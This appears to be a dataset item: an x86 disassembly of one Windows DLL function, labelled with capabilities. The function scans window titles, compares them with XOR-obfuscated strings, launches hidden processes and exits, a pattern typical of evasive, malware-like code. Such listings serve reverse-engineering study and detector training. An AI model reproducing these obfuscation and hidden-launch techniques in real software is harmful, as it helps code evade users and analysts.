Function at 0x10001f30
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get graphical window text
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000c71c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x238
mov eax, dword [0x10010040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.USER32.dll_GetTopWindow]
mov esi, eax
mov dword [ebp - 0x244], esi
test esi, esi
je 0x100022ef
nop dword [eax]
push pe_nt_image_headers32
lea eax, [ebp - 0x118]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x130]
call fcn.100046e0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1a0], xmm0
xor ecx, ecx
mov dword [ebp - 0x190], 0
movaps xmm0, xmmword [0x1000d940]
movups xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x22c], 0x1e5b465b
mov dword [ebp - 0x228], 0x17151016
mov byte [ebp - 0x224], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x23c]
xor byte [ebp + ecx - 0x23b], al
inc ecx
cmp ecx, 0x17
jb 0x10002000
push ecx
lea eax, [ebp - 0x23b]
mov byte [ebp - 0x224], 0
push eax
lea ecx, [ebp - 0x1a0]
call fcn.100041a0
push 0x38
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [ebp - 0x210], 0
add esp, 0xc
mov byte [ebp - 0x20c], 0
movups xmmword [ebp - 0x208], xmm0
mov dword [ebp - 0x1f8], 0
mov byte [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x1ec], 0
mov byte [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0
mov byte [ebp - 0x1dc], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0xf
lea edi, [ebp - 0x130]
mov edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
cmova ecx, edx
cmova edi, edx
add eax, ecx
cmp dword [ebp - 0x11c], 0xf
lea ecx, [ebp - 0x130]
push edi
cmova ecx, edx
lea edx, [ebp - 0x1a0]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x210]
call fcn.10005000
add esp, 0x10
test al, al
jne 0x1000244c
xorps xmm0, xmm0
mov byte [ebp - 0x224], al
movups xmmword [ebp - 0x18c], xmm0
xor eax, eax
mov dword [ebp - 0x17c], 0
movaps xmm0, xmmword [0x1000da80]
movups xmmword [ebp - 0x238], xmm0
mov dword [ebp - 0x228], 0x74767375
mov cl, byte [ebp - 0x238]
xor byte [ebp + eax - 0x237], cl
inc eax
cmp eax, 0x13
jb 0x10002131
push ecx
lea eax, [ebp - 0x237]
mov byte [ebp - 0x224], 0
push eax
lea ecx, [ebp - 0x18c]
call fcn.100041a0
push 0x38
lea eax, [ebp - 0x1d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [ebp - 0x1d8], 0
add esp, 0xc
mov byte [ebp - 0x1d4], 0
movups xmmword [ebp - 0x1d0], xmm0
mov dword [ebp - 0x1c0], 0
mov byte [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0
mov byte [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 0
mov byte [ebp - 0x1a4], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0xf
lea edi, [ebp - 0x130]
mov edx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x120]
cmova ecx, edx
cmova edi, edx
add eax, ecx
cmp dword [ebp - 0x11c], 0xf
lea ecx, [ebp - 0x130]
push edi
cmova ecx, edx
lea edx, [ebp - 0x18c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1d8]
call fcn.10005000
add esp, 0x10
test al, al
jne 0x10002342
push 2
push dword [ebp - 0x244]
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x244], esi
call fcn.100040d0
lea ecx, [ebp - 0x18c]
call fcn.10004850
mov ecx, dword [ebp - 0x17c]
test ecx, ecx
je 0x10002277
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x10002277
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
lea ecx, [ebp - 0x208]
call fcn.100040d0
lea ecx, [ebp - 0x1a0]
call fcn.10004850
mov ecx, dword [ebp - 0x190]
test ecx, ecx
je 0x100022aa
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x100022aa
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0xf
jbe 0x100022e7
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100022dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000233c
push ecx
push edx
call fcn.1000b678
add esp, 8
test esi, esi
jne 0x10001f90
mov dl, 0x72
mov dword [ebp - 0x220], 0x1f173f72
mov dword [ebp - 0x21c], 0x520b001d
xor ecx, ecx
mov dword [ebp - 0x218], 0x5171b24
mov word [ebp - 0x214], 0x17
mov byte [ebp - 0x212], 0
lea eax, [ebp - 0x21f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x1000255c
mov dl, byte [ebp - 0x220]
jmp 0x10002321
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
movaps xmm0, xmmword [0x1000d980]
xor ecx, ecx
movups xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x22c], 0x143d1c01
mov dword [ebp - 0x228], 0x5b441e16
mov dword [ebp - 0x224], 0x100d10
mov al, byte [ebp - 0x23c]
xor byte [ebp + ecx - 0x23b], al
inc ecx
cmp ecx, 0x1a
jb 0x10002370
xor eax, eax
mov byte [ebp - 0x221], 0
mov word [ebp - 0x136], ax
xorps xmm0, xmm0
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x178]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x23b]
movlpd qword [ebp - 0x16c], xmm0
push eax
push 0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x146], xmm0
movlpd qword [ebp - 0x13e], xmm0
mov dword [ebp - 0x178], 0x44
mov dword [ebp - 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x220]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x220]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x21c]
call esi
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
movaps xmm0, xmmword [0x1000da40]
xor ecx, ecx
movups xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x22c], 0x6b42637e
mov dword [ebp - 0x228], 0x243b6169
mov dword [ebp - 0x224], 0x6f726f
nop word [eax + eax]
mov al, byte [ebp - 0x23c]
xor byte [ebp + ecx - 0x23b], al
inc ecx
cmp ecx, 0x1a
jb 0x10002480
xor eax, eax
mov byte [ebp - 0x221], 0
mov word [ebp - 0x136], ax
xorps xmm0, xmm0
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x178]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x23b]
movlpd qword [ebp - 0x16c], xmm0
push eax
push 0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x146], xmm0
movlpd qword [ebp - 0x13e], xmm0
mov dword [ebp - 0x178], 0x44
mov dword [ebp - 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x220]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x220]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x21c]
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x21f]
push eax
push 0
mov byte [ebp - 0x212], 0
call esi
test eax, eax
jne 0x10002671
mov byte [ebp - 0x21c], 0x22
mov al, 0xed
xor al, byte [ebp - 0x21c]
mov cl, 0xd2
xor cl, byte [ebp - 0x21c]
mov dh, 0xd3
mov byte [ebp - 0x21b], al
mov ah, 0xd4
mov byte [ebp - 0x23d], dh
mov dl, 0xcc
mov al, byte [ebp - 0x23d]
mov ch, 0xc7
mov byte [ebp - 0x21a], cl
mov cl, byte [ebp - 0x21c]
xor al, cl
mov byte [ebp - 0x23e], 0xd9
mov byte [ebp - 0x215], al
xor ah, cl
mov al, byte [ebp - 0x23e]
xor dl, cl
xor al, cl
mov byte [ebp - 0x218], ah
mov byte [ebp - 0x214], al
xor ch, cl
lea eax, [ebp - 0x21b]
mov byte [ebp - 0x213], 0
push eax
xor dh, cl
mov byte [ebp - 0x219], dl
push 0
mov byte [ebp - 0x217], ch
mov byte [ebp - 0x216], dh
mov byte [ebp - 0x213], 0
call esi
test eax, eax
jne 0x10002671
mov dl, 0x66
mov dword [ebp - 0x220], 0x9143666
mov dword [ebp - 0x21c], 0x15150305
xor ecx, ecx
mov dword [ebp - 0x218], 0x150f2a46
mov word [ebp - 0x214], 0x12
nop
lea eax, [ebp - 0x21f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x10002657
mov dl, byte [ebp - 0x220]
jmp 0x10002640
lea eax, [ebp - 0x21f]
mov byte [ebp - 0x213], 0
push eax
push 0
call esi
test eax, eax
je 0x10002773
mov dl, 0x26
mov dword [ebp - 0x220], 0x52486726
mov dword [ebp - 0x21c], 0x45476e4f
xor ecx, ecx
mov dword [ebp - 0x218], 0x4308144d
mov word [ebp - 0x214], 0x435e
mov byte [ebp - 0x212], 0
lea eax, [ebp - 0x21f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xd
jae 0x100026ba
mov dl, byte [ebp - 0x220]
jmp 0x100026a3
xor eax, eax
mov byte [ebp - 0x212], 0
mov word [ebp - 0x136], ax
xorps xmm0, xmm0
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x178]
movlpd qword [ebp - 0x174], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x21f]
movlpd qword [ebp - 0x16c], xmm0
push eax
push 0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x146], xmm0
movlpd qword [ebp - 0x13e], xmm0
mov dword [ebp - 0x178], 0x44
mov dword [ebp - 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0xffffffffffffffff
push dword [ebp - 0x230]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x230]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x22c]
jmp 0x10002437
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000b66a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret